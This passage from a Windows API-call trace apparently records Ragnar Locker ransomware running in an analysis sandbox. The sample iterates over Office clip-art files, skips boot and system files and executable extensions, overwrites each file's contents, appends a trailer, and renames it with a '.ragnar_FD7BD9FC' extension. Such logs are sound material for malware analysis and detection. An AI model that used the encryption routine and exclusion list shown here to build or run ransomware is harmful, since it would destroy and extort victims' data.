returned 1 [0083.860] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1034, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.860] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.860] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.860] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.860] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.860] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.860] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.860] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.861] GetProcessHeap () returned 0x580000 [0083.861] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.861] CloseHandle (hObject=0xf4) returned 1 [0083.861] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" [0083.861] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.ragnar_FD7BD9FC" [0083.861] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.861] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0083.862] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.862] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105506.WMF" | out: lpString1="J0105506.WMF") returned="J0105506.WMF" [0083.862] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned=".WMF" [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="autorun.inf") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="boot.ini") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="bootfont.bin") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="bootsect.bak") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="bootmgr") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="bootmgr.efi") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="bootmgfw.efi") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="desktop.ini") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="iconcache.db") returned 1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="ntldr") returned -1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="ntuser.dat") returned -1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="ntuser.dat.log") returned -1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="ntuser.ini") returned -1 [0083.862] lstrcmpiW (lpString1="J0105506.WMF", lpString2="thumbs.db") returned -1 [0083.862] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.862] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.862] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.862] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.862] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.862] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.862] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 0x20 [0083.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.863] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2912) returned 1 [0083.863] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.863] GetProcessHeap () returned 0x580000 [0083.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.863] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.865] VirtualAlloc (lpAddress=0x0, dwSize=0xb60, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.865] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb60, lpOverlapped=0x0) returned 1 [0083.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.865] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb60, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.865] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb60, lpOverlapped=0x0) returned 1 [0083.865] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb60, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.865] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.865] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.866] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.866] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.866] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.866] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.866] GetProcessHeap () returned 0x580000 [0083.866] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.866] CloseHandle (hObject=0xf4) returned 1 [0083.866] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" [0083.866] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.ragnar_FD7BD9FC" [0083.866] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.867] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0083.867] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.867] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105520.WMF" | out: lpString1="J0105520.WMF") returned="J0105520.WMF" [0083.867] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned=".WMF" [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="autorun.inf") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="boot.ini") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="bootfont.bin") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="bootsect.bak") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="bootmgr") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="bootmgr.efi") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="bootmgfw.efi") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="desktop.ini") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="iconcache.db") returned 1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="ntldr") returned -1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="ntuser.dat") returned -1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="ntuser.dat.log") returned -1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="ntuser.ini") returned -1 [0083.867] lstrcmpiW (lpString1="J0105520.WMF", lpString2="thumbs.db") returned -1 [0083.867] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.867] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.867] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.867] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.867] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.867] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.867] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 0x20 [0083.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.868] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31812) returned 1 [0083.868] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.868] GetProcessHeap () returned 0x580000 [0083.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.868] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.869] VirtualAlloc (lpAddress=0x0, dwSize=0x7c44, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.870] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.870] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.870] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c44, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c44, lpOverlapped=0x0) returned 1 [0083.871] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.871] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c44, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.871] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c44, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c44, lpOverlapped=0x0) returned 1 [0083.871] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.872] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.872] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.872] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.872] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.872] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.872] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.872] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.872] GetProcessHeap () returned 0x580000 [0083.872] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.872] CloseHandle (hObject=0xf4) returned 1 [0083.872] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" [0083.872] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.ragnar_FD7BD9FC" [0083.872] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.873] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0083.873] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.873] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105526.WMF" | out: lpString1="J0105526.WMF") returned="J0105526.WMF" [0083.873] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned=".WMF" [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="autorun.inf") returned 1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="boot.ini") returned 1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="bootfont.bin") returned 1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="bootsect.bak") returned 1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="bootmgr") returned 1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="bootmgr.efi") returned 1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="bootmgfw.efi") returned 1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="desktop.ini") returned 1 [0083.873] lstrcmpiW (lpString1="J0105526.WMF", lpString2="iconcache.db") returned 1 [0083.874] lstrcmpiW (lpString1="J0105526.WMF", lpString2="ntldr") returned -1 [0083.874] lstrcmpiW (lpString1="J0105526.WMF", lpString2="ntuser.dat") returned -1 [0083.874] lstrcmpiW (lpString1="J0105526.WMF", lpString2="ntuser.dat.log") returned -1 [0083.874] lstrcmpiW (lpString1="J0105526.WMF", lpString2="ntuser.ini") returned -1 [0083.874] lstrcmpiW (lpString1="J0105526.WMF", lpString2="thumbs.db") returned -1 [0083.874] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.874] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.874] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.874] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.874] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.874] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.874] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 0x20 [0083.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.874] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17332) returned 1 [0083.875] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.875] GetProcessHeap () returned 0x580000 [0083.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.875] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.876] VirtualAlloc (lpAddress=0x0, dwSize=0x43b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.876] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.876] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.876] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x43b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x43b4, lpOverlapped=0x0) returned 1 [0083.877] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.877] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.877] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x43b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x43b4, lpOverlapped=0x0) returned 1 [0083.877] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.877] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.878] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.878] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.878] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.878] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: 